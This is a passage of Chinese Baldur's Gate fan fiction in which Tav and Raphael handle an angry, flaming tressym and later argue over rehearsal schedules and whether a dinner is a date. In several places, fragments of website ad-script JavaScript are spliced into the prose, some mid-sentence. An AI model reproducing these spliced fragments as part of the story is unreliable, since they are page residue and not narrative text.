“你想要印在哪?”拉斐尔晃晃戒指。 “有什么区别吗?哪里效果更好之类的?” “没有,看你喜好。” “一般会印在哪里?”塔夫装作只是好奇顺口一问,但她知道自己的问题藏 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着更多探寻,“其他人都印在哪里?” 拉斐尔没有立刻回答。 他在观察她。他也许能看出她的刻意和不自然,但不一定能理解她隐含的意思。 塔夫忽然觉得这问题怪没劲的,刚才小心翼翼的态度也是。她冲拉斐尔伸出手:“我印在手背就可以。谢谢。” 戒指贴在皮肤上很凉,比霜冻玛格丽特还要冷。塔夫一直低头仔细观察每一步,却没有发现任何戒指留下的痕迹。 拉斐尔垂眼看着她,在自己手背上也敲上印章时,漫不经心地说:“没有其他人。” 塔夫一怔,没有来得及抬起头,就立刻听到一个柔润而庄重的男中音: “啊,终于!夜晚和月光带来了可以言语的仆从。” 翼猫在笼中轻巧地站起身,露出四只如同戴着雪白手套的小爪子。 “我本可以给予你们赞扬——你们支开了其他人。”它舔舔前爪,又举起在脸上蹭了蹭,“但你们分明可以做得更多。譬如,打开这道牢笼,为了你们的王。” 塔夫和拉斐尔对视一眼,憋着笑问:“你现在感觉怎么样?我尊贵的殿下。” “你很惊讶你居然无法看出。” 翼猫舒展几下翅膀,翘着湿漉漉的粉色鼻子,张开可爱的三瓣嘴, “我在燃烧!我已憔悴!!我将消亡!!!” 塔夫瞧了瞧它那油亮顺滑的毛皮,根根光洁的羽翼,当然还有那饱满而又充满气势的声音:“喔哦。” 她凑到拉斐尔身边,小声说:“喂,它和你好像。” “你的礼仪呢?”翼猫怒道,“多么骇人听闻而又粗鄙的……” 拉斐尔优雅躬身:“这是我的荣幸。” 翼猫打量他一眼:“哼嗯。” 塔夫不甘示弱,有模有样地学着鞠了一躬,又清了清嗓子:“请问,我可以有这个荣幸,得到赏赐摸摸殿下吗?” “丧尽天良的大胆狂徒!” 塔夫连忙使眼色给拉斐尔。 拉斐尔笑着瞧她一眼,轻咳一声,垂下眼睛对翼猫说: “无论过去、现在和将来, “我的赞歌都只为你而唱。 “老鼠笑得欢,以为自己胜过猫, “不见利爪落,而那正是猫的爱, “请许我们以爱, “来亲吻你的脚。” 塔夫:“……?” 翼猫得意地又哼一声,回道: “我拥有这世界上全部的珍宝: “温柔抚摸,或粗暴抓挠; “耳边轻语,或激情喘叫; “我能给予你精神上的快乐, “也能满足你盲目甚至野蛮的欲望。 “因为我的慷慨如同大海,无尽又无穷。” 塔夫,再一次:“……?” 这都是什么乱七八糟? 而且,如果不是出自一只翼猫之口,简直可以被称为色情诗了吧!? …… 如果塔夫知道之后会发生什么,就绝对不会这么早地感慨说,她已经用完了今年“闻所未闻,见所未见”的配额。 但她不知道。 所以,她当时只是忍耐着忍耐着,在恭维与自夸的又几轮交替后,看到拉斐尔将翼猫小心捧出金笼,朝她比了个眼神,又很小幅度地举起它的一只爪子。 是摸摸翼猫的小爪子,还是,亲吻王的脚? 塔夫终于无法再忍耐下去,发出一声极轻的、但明显没有多少尊重意味的“噗嗤”。 . 28. 烟雾 塔夫那声不太和谐的“噗嗤”引发了连锁反应。 ——又一声“嗤。” 然而,这次是从翼猫喉中冒出的、令人不安的响亮咋舌,像是擦亮一根火柴。 塔夫正因为憋笑太久而肋部隐约刺痛,完全没有意识到发生了什么,还以为那是拉斐尔发出的古怪笑声,忍不住笑着瞥他一眼。拉斐尔却突然伸长手臂,夺过她手中杯子,狠狠覆在翼猫口上。 但哪怕是特别加宽的高脚杯,也无法承载翼猫小巧三瓣嘴中的愤怒。火星溢出前,拉斐尔飞快低斥一句,连翼猫带杯子一起丢向河中。 翼猫在半空优雅展开双翼,那杯子却仍牢牢吸在嘴上。它挣扎无果,接着两下振翅,已经越过最高的桅杆。 一切如电光火石,塔夫刚反应过来倒吸一口气,就被拉斐尔紧紧拥在怀里。 轰——! 一声尖锐的爆鸣。 她从拉斐尔肩膀上探出头,看到翼猫被一团巨大的火球笼罩。破裂的玻璃碎片闪着碎光,如流星般坠落。 翼猫终于能够响亮地咒骂,又像是在为自己的失败解释:“我想啐你,又怕玷污了我的唾沫!” 它没有扑灭身上的火也没有停留,径直朝小镇飞去:“啊!夜风!带来了自由与爱情的味道!玫瑰若改其名,亦不减其芬芳!我的欲望之火!我的甜心!我的爱!” “发生了什么?刚才那是爆炸吗?”船长跑上甲板,看到空空如也的笼子,“该死的!你们都做了什么?!”他双手绞起胡须,喘着粗气,“矮人之神保佑!摩拉丁保佑!” 矮人身旁,卓尔依然平静沉默,塔夫也依然看不清他藏在黝黑皮肤下的寡淡五官和表情。 她从拉斐尔怀里直起身,连忙问:“怎么才能抓住一只翼猫?用食物诱惑?还是冲它大声念赞美诗?” 拉斐尔仔细瞧了她好一会才说:“它会回来的。” 塔夫想着刚才的温暖触感,脸颊微微发红,清了清嗓子:“谢谢你……” “回来烧毁整艘船吗?!”矮人暴怒着打断,呆愣片刻,又转身冲卓尔大发脾气,“你干得好事!我早就知道这是一个糟糕的主意!” . 除了矮人,没人再说话。在他一会咒骂一会祈祷一会吹胡子的背景音中,塔夫很快等到翼猫。 以及,盖尔教授。 这位脾气暴躁的殿下被盖尔提着后脖又握住四肢,模样有些蔫哒哒的,不知道是因为被教训了,还是因为变成了名副其实的“小秃毛”。 ——它似乎有火焰抗性,哪怕刚才变成了一团火,毛皮和翅膀也只是凌乱几分。但嘴周被烧出一个完美的圆形,露出粉白皮肤,胡须根部也有些卷曲。 “拉斐尔。”盖尔一副并不意外看到他的模样,“塔拉不会对这种家伙感兴趣。”接着他又着实吃了一惊,“塔夫?你也在这里?” “盖尔教授。” 虽然这对可怜的翼猫来说大概是又一种嘲讽,塔夫还是一边打招呼一边趁机摸了摸它毛茸茸的爪子,听到一声愤怒低哑的“嘶”,又很快变成可怜兮兮的夹子音“喵呜”。 可惜,塔夫已经听不懂它在威胁什么或央求什么了。 盖尔把翼猫丢回笼子,谢绝了矮人船长的感恩戴德,叮嘱过塔夫注意安全,最后拍拍拉斐尔的肩膀:“照顾好她。” 矮人船长欢喜地亲自捧着金笼回船舱,卓尔悄声来到拉斐尔身前,声音低得如同一阵微风:“谢谢。” 拉斐尔瞧他一眼:“下次再见时,希望你已经拥有自己的船。” 卓尔点点头,吹响口哨,指挥水手检查风帆,清理甲板。 . “我们就这样离开了?”塔夫同拉斐尔下船,重新踏上船坞码头的松木板,“矮人船长,还有卓尔那里没问题吗?” “你在担心他们。”拉斐尔问,“为什么?” “因为我们惹了麻烦。”塔夫惊讶。虽然翼猫回来了,但也变秃了!“不需要我们做什么吗?” “你是我邀请的客人,所以没有关系。” 塔夫皱了下眉。拉斐尔没有说他自己,那他需要做什么吗,或是已经做了什么? 此外,她心里还有另一个疑问,关于聚会的“其他人”。其实,她已经隐约猜到一个答案,考虑到盖尔教授的出现以及卓尔的反应,这大概不是她想象中的朋友聚会,却也一定不是影心所说的约会。 “我送你回去。”不等塔夫说什么,拉斐尔已经不容置疑道,“盖尔会问起来。我们走吧。” 他听上去似乎有些不快,塔夫反而立刻接受了这个原因,这才是更合理的。 . 这次回去的路上,拉斐尔没有主动同她聊天,这让塔夫有机会对比一周前的邀请与现在的氛围。 再一次的,虽然她承认拉斐尔那次非常迷人而又讨人喜欢,但她认为现在的情况才更合理。至于她最大的疑惑,直接问就好: “这次聚会……” “你有哪里不舒服吗?” 她和拉斐尔同时开口。 “我很好,多亏你的保护。”塔夫说着补充一句,“放心,我不会向盖尔教授告状。” 拉斐尔轻哼一声,算是回应。 塔夫继续道:“我很清楚,今晚其他人的事,哪怕我询问你也不会说。所以我只想知道,你为什么邀请我?” 拉斐尔始终看着面前:“这件事已经结束了。” 塔夫等了会,却没有听他再说一句,心里有些愤懑——又是这样从来不把话说清楚。 “我只关心与我有关的部分。”她语气带上了挖苦,“因为我知道你的好意从来不是免费的,上次救我,这次邀请我……” “是威尔这样和你说的?”拉斐尔突然问。 “和这件事没关系。”塔夫更加确定,盯着拉斐尔,语气越发不客气,“你需要我做什么?你又在计划什么?” . 拉斐尔瞧塔夫一眼,又重新别过头。 为什么邀请塔夫。 因为他想让她看一眼翼猫。 多么突兀的、情绪化的、可笑的原因。 他没办法说服自己,这样做是为了让塔夫迷上他,是计划之中的事。 除了因为那不是真的,更是因为那意味着,他把决定的权力交给了塔夫。 他在邀请塔夫时意识到了这一点。 而塔夫恐怕也会意识到。不,她肯定会。事实上,她已经第二次问起了:为什么邀请她? 不过他也有所准备,添上另外的事项,足够掩盖那个一时兴起的想法。而一路上,他一直有些后怕地想,还好没有出什么太大差错,但塔夫似乎已经在懊恼接受他的邀请。 “我需要一个烟雾弹。”拉斐尔清了清嗓子,“正如我刚才所说,这件事已经结束了,所以你不需要再做什么。” . 拉斐尔邀请她来是把她当作烟雾弹。 塔夫并没有太过惊讶,反而第三次产生果然这样才更合情合理的感慨。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “爆炸的烟雾弹?”她叹一口气,发现已经走到两人约定见面的酒馆前, “鸡尾酒的杯子怎么办?” “没必要担心这种小事。”拉斐尔淡淡道,“就算是邀请的一部分。” 塔夫怔了下,重新看向拉斐尔:“为什么邀请我?” “我已经回答过这个问题。”拉斐尔轻轻皱起眉。 “为什么是‘我’?”塔夫问出口就意识到,这听上去有点自作多情,又解释了句,“因为你一定有其他选择。”加了解释好像也没有强到哪里去。 果不其然,拉斐尔注视她好一会。塔夫几乎想要直白地挖苦,是因为找她帮忙很便宜,一杯鸡尾酒就足够了吗? “因为,”拉斐尔再次开口的时候声音很低,“你说你喜欢翼猫。” 塔夫立刻抿住唇,不知道是好笑还是生气,脸却莫名红了下。 虽然不清楚拉斐尔要掩盖的具体是什么,但他的意思大概是,她喜欢翼猫,所以表现得会更加自然,作为烟雾弹效果更好。 可哪怕明明猜到原因——说得难听一些甚至可以称为拉斐尔的算计,塔夫心里还是忍不住雀跃一瞬。 她努力板起脸:“下次,如果还有下次的话,我希望你在邀请前告诉我这些。” 拉斐尔道:“就结果来说,并没有区别,不是吗?” 又来。塔夫立刻回:“当然有区别。我也许决定不接受你的邀请。” “如果你会拒绝,那对我来说,就更没有提前告诉你的道理。”拉斐尔道。 塔夫噎了下。不过话说回来,拉斐尔一开始连翼猫都没提。 拉斐尔却像是好奇起来:“你会拒绝吗?” 塔夫仔细想了想:“不会。可以见到一只真的翼猫,这机会多难得。” “哪怕发生了今晚的意外?” “既然是意外,就意味着是我当初不会知道到的事,不影响决定。” 拉斐尔像是松一口气,笑着瞧她:“那便是没有区别。” 塔夫诧异地望着拉斐尔,却发现他看上去是真的这么认为。 如果早知道的话,她就不会有被蒙蔽的感觉,也不用花时间同影心猜测这是不是一个约会——哪怕她并没做出什么自作多情的尴尬事。 然而又一次的,塔夫觉得这种事没必要和拉斐尔多说。 她已经直接提出了自己的要求,拉斐尔有不同看法。但她和拉斐尔未来不会有太多接触,何必在这种相处的细节上同他浪费时间。也许,他也是这样考虑的,才没有告诉她前因后果。 塔夫摇摇头,没再继续解释:“不管怎么说,谢谢你邀请我。” “塔夫!” 是影心正朝她挥手。 塔夫想起和影心之前一番讨论——影心猜中了原因,不过得出的结论却和真实情况没有半点关系。至于自己,除了摆在明面上的翼猫,其他的一点都没有猜中。 塔夫忍不住觉得滑稽好笑起来,又有些微妙的不快,对拉斐尔说:“我和朋友一起,也许直接回去,也许再喝几杯。”她甚至没有和他客气几句邀请他一起,干脆地道别,“拜拜。” “晚安,塔夫。”拉斐尔顿了下,“明天排练见。” 塔夫已经跑向影心,没回头,只冲他摆了摆手:“明天见。” . 还有明天。 还有下一次。 拉斐尔松了口气,很快又感到遗憾。 翼猫这件事,就这样结束了。 . 29.确定 “你那时就在船上?”影心讶然,又激动起来, “是不是整个镇子都看到了我不好说,但码头上所有的人肯定都看到或听到了!” 超大·对空·火球术! 划过天空的火之精灵! 出于对当事猫名誉和隐私的保护,塔夫省去一些具体描述,镇定地点点头:“正如之前所说。聚会,翼猫,惊喜。” 她只透露了自己被邀请的细节,“原因你猜的没错,因为我喜欢翼猫。” “竟然是这么一回事?”影心咕哝,“是我多想了?” “不用怀疑。”塔夫立答,“你多想了。” 影心白她一眼,又笑眯眯说:“我好难过,需要你陪我喝一杯。哈尔辛,帮我们再点两杯玛格丽特!” 塔夫:“?!” 影心:“我可是闻得出来!和拉斐尔喝酒,却不和我喝?” 塔夫:“……” 而塔夫也从这件事学到另一个教训:翼猫有风险,养宠需谨慎。 大概只有盖尔教授,才能淡定地说出“他饲养着一只翼猫(全称:性格恶劣的危险野生动物)作宠物”这种事。 . 回到宿舍,塔夫也有几分醉意,很快入睡。 然而喝酒后,她总是会特意多喝水,导致第二天醒得很早,大脑更是迅速活跃起来。 如果只是看翼猫,哪怕出现一些意外,她也应该很兴奋激动才是,可现在却感到淡淡的失落。而且那失落虽然微弱,却分外弥久。 她无不自嘲地想,难怪拉斐尔每次“交往”的时间都不长,结束时又格外干脆。她还没有同他交往,甚至连暧昧都没有半分,居然就已经生出隐约期待,所以现在才会感到失望吧。如果时间久了,岂不是会期待更多。 又想到拉斐尔称呼“交往”为交易,塔夫惊得又多清醒一些,那她现在和拉斐尔的关系岂不也是……?! 不,不一样。 有时限的“交往”是交易的内容之一。 她的交易并不是“交往”,而是正常的合作。 塔夫忽然安下心来,迷迷糊糊重新睡了过去。 . 结果差点睡过头。 除了这一点时间上的小紧张,下午的顺排又一次进展顺利。塔夫同菲拉商量后,决定可以提前技术排练。这样正式排练的次数会更多一些,说不定还能在期末结束前加一场预演。 “技术排练主要排练灯光、音效、道具和背景。”塔夫对这学期才加入的新成员以及拉斐尔说明道,“演员不需要表演整场,只用做一些标识走位和台词,作为技术操作的开始。” 她最后想了想,又特意对拉斐尔和阿斯代伦说:“我们会尽量考虑你们的时间,排不开的话,以你们的安排为主,不需要特意来。” 阿斯代伦笑着说:“谢谢你,亲爱的。” 拉斐尔皱了皱眉,没有说话。 塔夫一开始解释时,“萝拉”就主动要求帮她整理时间表,以确定下周排练时间,此时她开口问:“大部分人下周六上午都有时间,除了拉斐尔,整个上午都被标灰了。”她微笑看向拉斐尔,“你那天会做什么?方便调整吗?” 拉斐尔弯了弯唇,但眼睛里没有笑意:“不能。” 塔夫立刻说:“既然如此,我们就定下周六上午技术排练,拉斐尔和阿斯代伦休息一周。” 阿斯代伦再次笑着说:“多谢这么为我考虑。” 拉斐尔语气冷了下来:“我始终没有同合唱队接触。” “这件事我们之后单独再说。已经到晚饭时间了。”塔夫定下时间,结束这次排练,并一点不意外地看到拉斐尔又一次等在自己身边。 “一起走走?”塔夫这次主动邀请,又忍不住打趣,“这好像,真的变成我们每次彩排后的固定余兴节目了。” “并不是。”拉斐尔声音依然冷漠。 塔夫怔住。 “下一次,不会是。”拉斐尔立刻补充道。 . 所以这一次,拉斐尔还是同塔夫一起走了走。 塔夫其实有点饿,但与拉斐尔在自助餐厅的记忆并不美好,瞧见他似乎往那个方向走后,立刻提议:“我们还是沿河走吧。” 不等拉斐尔答应,她便往河边走:“我已经帮你联系了声乐指导。周三晚上见一面可以吗?” 塔夫说着又翻出拉斐尔下周的时间表,“这是第一次,所以我和菲拉都会同你一起。如果不方便的话,可能就需要等到周日晚上。” 考虑到拉斐尔下次不会来彩排——阿斯代伦也不会,如果周三无法碰面,拉斐尔可以把二人下下周的时间表送到学生活动中心,“剧团在那里有一个信箱,我每周五晚上会去检查一次。” 拉斐尔瞧着她,却问:“你为什么需要做这些?” 塔夫不解:“你也说想和合唱队尽快接触。” “周三晚上可以。”拉斐尔顿了顿,“我刚才的问题是针对时间协调,包括剧团每周的排练计划。”他轻哼一声,“为此,你甚至需要每周都收集一次所有成员的时间表?” “我们一直是这样做的。”塔夫皱起眉。 “一直如此,并不意味着没有更好的方法。这工作也太过繁琐。” “我知道。”塔夫沉默片刻,“我也有想过,可以在选课退课截止的那一周,直接定下一整个学期的排练时间。” “赛艇队甚至会要求成员根据比赛和训练计划协调课表。”拉斐尔声音放轻,“你没必要把自己位置放的这么低。” “这不一样。” 塔夫有些无奈,她似乎总是在和拉斐尔说这句话,这件事和那件事不一样,她的理解和他的看法不一样,她和他不一样, “我们只是一个很小的兴趣社团,没有那么大力量提这么多要求。也许以前的团长试过,但后来还是需要协调时间,倒不如一开始就每周定一次排练计划。” “所以,你其实希望每周的排练时间固定?” “当然!这对我来说也更轻松。” “那便这样要求。”拉斐尔说。 塔夫终于叹了口气。 “你希望时间固定。我也是。”拉斐尔语气温柔,但话里意思却带着嘲弄,“我可不喜欢周末要做什么都被检查盘问一遍。” “萝拉不是那个意思!”听到团员被挖苦,塔夫猛地盯住拉斐尔,“那只是正常的问问看,我几乎每周都会问。我们提前说过排练时间主要在周末,剧团大部分人也都愿意协调时间,或者晚来一些早走一些也没关系。” “没必要对我充满防备,我和你的诉求是相同的。”拉斐尔看着她,声音更加温柔而低沉,语气却不容置疑,“固定下每周的排练时间。” “哪有那么容易。”塔夫莫名沮丧起来,望向地面,“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 而且这学期也已经过了一半,大家都习惯了之前的做法。” “告诉他们,是我的要求。” “这……” “如果你不方便说,由我来提议。” “别……” “你和我之间可是有契约的,塔夫。”拉斐尔侧过脸认真望着她,“既然你说过我们是合作关系,就别浪费这个机会。请想想看,如何更好地使用我。” 塔夫被他搅得有些心慌意乱,只得先应承:“我会考虑。”又赶在拉斐尔开口之前说,“不会花太长时间。” 拉斐尔笑笑,没再说什么。 . 这的确是个好机会。没有拉斐尔在一旁步步紧逼,塔夫略一想就决定,可以借势做出改变。回过神发现,她准备狐假虎威的那只老虎就在身旁瞧着自己。 “你在等我答复?”塔夫觉得还需要再考虑下细节,“反正你不会参与下次排练,等下下周再说。” 拉斐尔倒也没要求她立刻承诺:“现在可以去吃晚饭了?” “好。”塔夫想了想,确定没有其他社团的事,“那周三晚上见。” 拉斐尔又瞥她一眼:“你要去学生餐厅?” 塔夫有些奇怪,停下脚步:“去。” 拉斐尔唇角翘了一下:“我和你顺路。” 塔夫:???我都没说要去哪一个! 拉斐尔终于弯起眼睛:“一起走吧。” 塔夫:…… 于是,塔夫还是和拉斐尔肩并肩,走上去往自助餐厅的方向。 ——虽然期望中的改变还没有真的发生,但她仍算是承了拉斐尔的情,不好意思直接拒绝。 . 路上,拉斐尔先提起昨晚的事,又问她对养一只翼猫有什么看法。 “你是认真的还是开玩笑?”塔夫惊讶又有些好笑,“哪怕是普通的猫,我现在也没办法照顾。” “如果养在别人那里,你偶尔去看看?”拉斐尔继续问。 塔夫告诫自己别多想:“除非是动物园。” 拉斐尔若有所思地唔了一声:“近距离看翼猫已经不能够吸引你了。” “我对翼猫的幻想没有破灭。”塔夫终于笑了,“只是更清楚地意识到它们的危险,所以还是保持距离比较好。” “我理解你的想法。”拉斐尔声音有些低。 塔夫已经问起他对翼猫念的赞美诗,打趣说:“没想到你早有准备,还背了好几首?” “提前背诗?为一只猫?”拉斐尔轻嗤一声,“大概得感谢哈勒普的兴趣。我听得多了,便会念了。” “那本老鼠写的猫的诗!”这倒是又勾起塔夫的兴趣——上次说到的拉斐尔小时候会看的书,“诗集不算,要故事、寓言什么的。” “你为什么一直对这个感兴趣?”拉斐尔心情似乎变好了些,眼睛里也带着笑意,“对我小时候。” “看的书。”塔夫立刻替他补充完整,“因为好奇。上大学之前,我可从没见过活生生的贵族,更别提讨论这种事了。” “活生生?你这是把我当作翼猫?”拉斐尔脸上晴转多云,嘴唇也绷成一条直线,“一种稀奇动物?” “不!”塔夫连忙解释,“我的意思是……” “噗。”拉斐尔笑了下,又立刻轻咳一声,尝试两次才成功板起脸, “我的荣幸。” . 30.问题 “?!” 塔夫发现自己上当,想呵拉斐尔痒,伸出手才发现不妥。 她及时收回手,仍是有些不好意思,抬眼又撞进拉斐尔目光里——和往常一样的、带着观察意味的专注视线。 她曾对此感到不快。可这次,心脏却不受控制地猛地一跳。 拉斐尔那双眼睛在傍晚时总是这么漂亮,琥珀色虹膜干净澄澈,又织上一缕缕细细的金色丝线。不过考虑到主人是他,或许用荆棘尖刺形容更为恰当。 塔夫觉得这个比喻有些奇怪,却忍不住弯起唇。 那金色也重新染上笑意,看上去既锋利又温柔:“为什么对我看过的书感兴趣?” 塔夫怔忡片刻,重新盯向眼前道路。 她又清了清嗓子,像是为了让自己注意力集中,听上去格外一板一眼地解释起来: “也许贵族不是这样,但我一直生活在农场,是通过书来了解这个世界。先读到过博德之门,然后才亲自来到这个城市。先读到过各种不同的生物,之后才真的见过它们。 “甚至各种情绪、感情、关系,我也是先读到过,后来才意识到,啊,原来那时的感觉叫作愧疚。也慢慢发现自己可能更喜欢什么,或者在什么情况下可以做出什么反应。” “这也是你加入戏剧社的原因?”拉斐尔顿了下,纠正自己说错的社团名字,“屋顶上的猫。” 塔夫朝他笑笑: “也许,但又一些不同。表演可以体验不同场景下的情绪,不过对我来说始终浮于表面——这大概说明了我为什么不是一个好演员。 “可是读过的故事则更多地、不知不觉中成为我的一部分,特别是小时候的那些,影响似乎更深。” 她说完又有些讪讪,“明明是想要问你的,结果我自己答非所问地说了一大堆。” 拉斐尔一直微笑望着她:“按这个逻辑,你想通过我小时候读过的书,来了解我是怎样的人?” “唔。”塔夫思索片刻,“我问的时候倒是没有想那么多。不过可能潜意识是这样?” 无可避免的,对一个人的好奇总是会带上些打破边界的探索意味。塔夫原以为拉斐尔会因此把问题抛还给她,没想到他看上去认真回忆起来: “我的童年读物?大概是《一系列不幸的故事》。” 听上去有点黑暗,塔夫从没听说过。但这书名又莫名和拉斐尔契合,还呼应了他对“不幸和挣扎令人着迷”的评价。这让塔夫忍不住猜想,这是不是拉斐尔再次开玩笑,故意编出来的名字: “真的?不幸?还是一整个系列?” “一共十三卷。” 连卷数也刻意弄成这么不幸的数字。塔夫越发觉得这不是真的,笑了:“差点又被你骗到。” “我住的地方有一套典藏版。”拉斐尔也笑了,瞥她一眼,“如果你不肯信,不妨去我那里亲眼确认?” “哈?”塔夫因这突如其来的邀请,一时诧异地说不出话。 “我可以给你带一卷。”拉斐尔已经及时更正道,“下周三。如果你感兴趣。” 这次塔夫相信得更多:“有多不幸?我不讨厌悲剧,但也要看情况。” “讲的是三名孤儿的不幸生活。”拉斐尔说。 塔夫立刻轻轻“嘶”了一声:“听上去已经有点太悲惨了。不过请接着说。” 拉斐尔继续道:“他们继承了父母留下的金额可观的遗产,事实上,是一大笔遗产。但也因此不得不面对一系列可怕的阴谋,大多来自觊觎财产的远亲及监护人。” “这算是儿童读物?”塔夫不可置信。和书里的孤儿比起来,自己能遇到贾希拉可太幸运了。 “教会孩子如何保护自己。”拉斐尔顿了顿,“我从中学会很多简单有效的防身手段,哪怕现在仍可以使用。” 贵族要面对这么多危险?连小孩子都不放过?塔夫望着拉斐尔,一时不知道应该怎么安慰。 “这次是开玩笑的。”拉斐尔翘下唇角,“故事卖点是离奇冒险,法术也无法实现的夸张想象。” 塔夫无奈地斜他一眼:“……” “当然,里面也有些道理,不全然是幻想。”拉斐尔漫不经心地举例,“比如没有免费的糖果,笑容背后总是藏着刀子,以及最重要的,对于无能的人来说,拥有财富本身就是一种罪行。” “这听上去根本没有更好。”塔夫心情大起大落,反驳道,“这算是什么罪行?你没错!小孩没错!打小孩主意的亲戚才有错!” 拉斐尔瞧着塔夫:“你说得也没错。” 他根本就是在随口应付吧。 塔夫心里可怜、可气与难过各种情绪继续纠缠在一起,酝酿半天,最后只说出一句:“算了!” . 拉斐尔望着塔夫,从她眼里立刻看出,这是加深威尔“面具与真我”那个脆弱印象的好时机。然而这次,他却没有那么感兴趣。 ——他已经说过太多次,几乎到了有些刻意的地步,这是其一。其二,保持警惕本身也可以理解成一种面具。 不过最重要的是,他发现塔夫兴致不太高。 他望着塔夫脸颊,看到她侧过脸对自己飞快抿唇笑笑,忽然想知道她戴着怎样的面具。 虽然她总是格外真诚,但每个人都会有一层防护,她面具下的样子是会更加热烈还是相反的冷静,她外壳下的脆弱又会是什么。 直到现在,他也仍然没见过她示弱的样子,而似乎只是想想,胸口就已经生出一股陌生的酸涩。但他很有耐心,会等到她主动向自己低头的那一刻。 . 塔夫知道到拉斐尔一直在看自己,朝他笑笑,却没再开口,继续想着刚才的“儿童”故事。 听到孤儿总是会让她有些低落,但拉斐尔肯定不是为了刺痛她有意对她说起。事实上,他的那些小时候学会的“道理”,听上去才更令人难过。 她做了个深呼吸,干脆不再控制思绪,由着它信马由缰,从究竟谁有错谁有罪,到分析父母财产积累和分配的过程是否公正。 而拉斐尔也始终没有说话,更没有像她之前猜测的那样,问她小时候最喜欢什么书。 ——而她的回答会是中规中矩到有些无聊的《费伦大陆:一段历史》(儿童精选版,涵盖诸神、国家、种族和生物,而且被仓鼠小布啃去好几处)。 . 看到学生餐厅,塔夫大脑和情绪仍都有些混乱,没想好就已经开口说:“两天后再见了。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 拉斐尔挑下眉,像是还在等她说什么。 塔夫想了想:“至于你的《不幸的故事》,”她勉强笑笑,“我感兴趣的话会去图书馆问问看,典藏版还是收藏用吧。” 对此,拉斐尔只是嗯一声,不置可否。 快走到餐厅门口,塔夫再次疑惑:“你真的也去学生餐厅?“ 拉斐尔像是被这问题逗笑了:“我们已经走了一路。” “我的意思是,你也会在这里吃晚饭?” “偶尔。” 塔夫干脆走到人少处,问得更直接:“我们要一起吃晚饭?我和你?” 拉斐尔点点头:“可以。” “……”塔夫无奈,“刚才那不是请求你的同意。我的问题是为什么?” “因为,我需要吃东西?” 看到拉斐尔微微上扬的唇角,塔夫便知道他是在故意开玩笑,而且说不定一开始就知道她想要问的是什么。她又好气又好笑:“我们在这儿分开,各自进去。” 不等拉斐尔开口,塔夫又继续说: “社团是正常接触,走一路也没什么,但吃饭,尤其是两人单独吃饭——也许是我多想,但我宁愿多想。因为我和你不是相识很久总在一起的朋友,这看上去就很奇……就有些值得注意。” “看上去?值得注意?是谁在看,又是谁在注意?” “在餐厅的每一个人,都会看我们,或者说,你。” “我不会自以为是到这个地步,认为所有人会把全部时间用在关注我身上。” 虽然拉斐尔说这话时是微笑的,塔夫还是从里面听出讥讽,叹了口气:“我刚才是夸张了,但你知道,很多人听说过你也能够认出你。而我在你身边一起吃晚饭,一定会有人好奇我是谁,又和你是什么关系。” “你害怕被误会?” “我没有害怕!”塔夫抿抿唇,“但我也不需要这种额外的误会,或者好奇。” 拉斐尔身上的矛盾感再次出现:“如果你不喜欢别人的目光,”他笑了下,“我们可以去私人房间。” “什么?”塔夫又一次诧异。 “你听到……”拉斐尔轻咳一声,“你也许还记得那个房间。” 塔夫有些不可思议地看着拉斐尔,那团混乱之上又添上羞恼。他知道自己在说些什么吗,那里发生过的事情只会让气氛更奇怪。 “就算别人的看法没那么重要,‘我’也会产生疑惑。” 塔夫本就没以为拉斐尔有这个打算,又想到昨晚和今早的纠结,哪怕会被对方笑话自作多情,也比现在这种烦闷更好,干脆直接问个清楚, “这是约会或者类似的邀请吗?” . 拉斐尔看着塔夫,想从她的表情中看出任何忐忑或期待,却发现感到不安的是自己。 不,他感到的是恼火。 他其实知道,塔夫已经做出决定。 从最开始去河边走走,到餐厅前的道别,再到现在的直接询问。无论自己的回答“是”或“不是”,她接下来都会说,她不会和他一起吃晚餐。 他沉默得有些久,似乎沉默本身已经可以成为一个回答。 拉斐尔终于开口:“为什么?” . 31.回答 塔夫问过这个问题挺多次: “这是一个约会吗?” 有的回答是直白而又热烈的“那当然!”,有的是狡猾其实怯懦的“你说呢?”,有的是腼腆却不乏勇气的“如果你愿意把这当作是约会的话就太好了,不过请别有压力”。 虽然她接下来的回应意思上总是大差不差,但对于不同的态度,她的方式也不尽相同。 然而,她却是第一次得到这个回答:“为什么(问这个问题)?”直接反客为主地占据主导,要求她向他解释。 鉴于对方是拉斐尔,塔夫发现自己并不意外,反而还有些好笑,模仿着他刚才的玩笑语气: “因为,我需要知道?” “但是不同的人对约会有不同理解。”拉斐尔嗓音本就低沉,此时声音放轻,塔夫下意识倾身靠近半步,听他继续道, “哪怕存在一个人人认同的标准,这定义本身也并不能说明什么。 “这是一个约会,但结束后你决定不再和对方接触。这只是一次普通的共进晚餐,但你有兴趣继续了解对方。” 塔夫微微皱了下眉:“所以?” “所以,这是否是一个约会并没有那么重要。更重要的是,相处本身,以及你在那之后的决定,不是吗?” 塔夫抿抿唇,还是忍不住弯起嘴角:“你说的有些道理,定义本身是模糊的。” 她顿了下,立刻说: “不过,‘是’与‘否’的回应却是清晰的。 “还记得你刚才的提议吗?定下每周的排练时间。这其实差不多,想要的都是一种确定的感觉。 “至于我刚才的问题,我和你的想法不太一样。 “我的看法固然是重要的,但这从来不是我一个人的决定。对我来说,对方的回答也同样重要。不过,我想我已经知道你的回答了。” 见拉斐尔没有说话,她又笑笑:“那就周三见了,拉斐尔。” “塔夫。”拉斐尔却叫住她,“我的回答是什么?你所理解的我的回答。” 塔夫有些意外自己会继续和拉斐尔说下去: “你认为那个问题本身不重要,因此不愿意回答。”她感到些许失落,更多的是轻松和释然,“所以对你来说,这不是约会或类似的意思。” 虽然如此,她还是没能问出那句“我理解的对吗?” 几周接触下来,拉斐尔有太多让她着迷的地方,长相、身材、声音、甚至气味,他的谈吐举止,他的想法教养,他那神秘的契约和法术…… 然而,也有支撑这一切的贵族家世,和由此而来的、几乎浸透血液的优越感。 